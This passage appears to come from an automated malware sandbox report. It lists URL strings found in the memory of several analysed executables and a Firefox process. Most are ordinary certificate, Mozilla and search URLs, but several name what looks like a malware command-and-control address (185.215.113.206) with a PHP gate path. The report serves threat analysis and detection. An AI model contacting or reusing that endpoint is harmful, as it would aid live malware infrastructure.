Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpj
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpn
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.000000000194E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpp
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpv
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/h
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp, b0b9f39429.exe, 0000001A.00000002.2908035174.0000000001446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2580293430.0000000000821000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://185.215.113.206BFHJK--
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206S
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sextractScheme/fixupChangedProtocol
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000000.00000003.1786901695.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1732244600.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1872899047.000000000174C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800136771.00000000016FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: e192e43b61.exe, 0000000D.00000003.2806047135.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2908880792.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2914261433.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2883370297.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2926644946.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2898977300.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2792073053.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro(x
Source: e192e43b61.exe, 0000000B.00000003.2824471510.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883362074.000000000144E000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001D.00000002.2967612350.000001E75EE12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2967612350.000001E75EE2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-timesp
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressionsXq
Source: firefox.exe, 0000001D.00000002.2963529504.000001E75E525000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001D.00000002.2955106076.000001E752C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 0000001D.00000002.2986603833.000001E762BE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2985111981.000001E762944000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2881911418.000001E762CF5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2987595176.000001E762D8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2884209139.000001E762CF1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2986971978.000001E762CD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2981878374.000001E76137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2887157519.000001E762CD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2994326472.000001E76382C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2994326472.000001E763803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2986971978.000001E762CB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2985111981.000001E762905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2887157519.000001E762CC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2964932071.000001E75E6B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2985111981.000001E762908000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2994326472.000001E763840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983794051.000001E762703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2982682375.000001E7624C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2994326472.000001E76380F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shandlerSvc
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001D.00000002.2966624376.000001E75EB7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modu
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: e192e43b61.exe, 0000000A.00000003.2899300146.0000000001171000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617552023.000000006F89D000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2997276165.000001E763B15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3002770667.000001E764E43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2992758898.000001E76374D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2987595176.000001E762D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 0000001D.00000002.3002770667.000001E764E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:scope
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulApplication
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/locale/safebrowsing/sa
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-in
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/printPreviewPag
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuloncommand=closebuttoncommand
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EF9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/ContextualIdenti
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616773453.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1766547543.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2640183962.00000000057DD000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2784159031.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2847957786.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2995380035.000001E763939000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001D.00000003.2861629695.000001E762700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2869871266.000001E76297B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2863569523.000001E76295D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2983605466.000001E762670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2969240727.000001E75EF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2862321283.000001E76293E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2861997289.000001E762920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001D.00000002.2981878374.000001E76132B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.2965944209.000001E75E980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1768311539.0000000001786000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2801742909.0000000005A99000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2851208400.000000000113B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.0000000001332000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2641920304.00000000057CF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2802402716.0000000005A98000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2868740203.000000000113A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2980396667.000001E760EA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2974606521.000001E75FD5B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2963529504.000001E75E5AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001D.00000002.2974606521.000001E75FD45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001D.00000002.2969240727.000001E75EFAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use
Source: file.exe, 00000000.00000003.1733332516.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733425645.0000000005E5A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733227360.0000000005E5C000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608259033.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2608026179.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2739808698.0000000005ADB000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2808155146.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
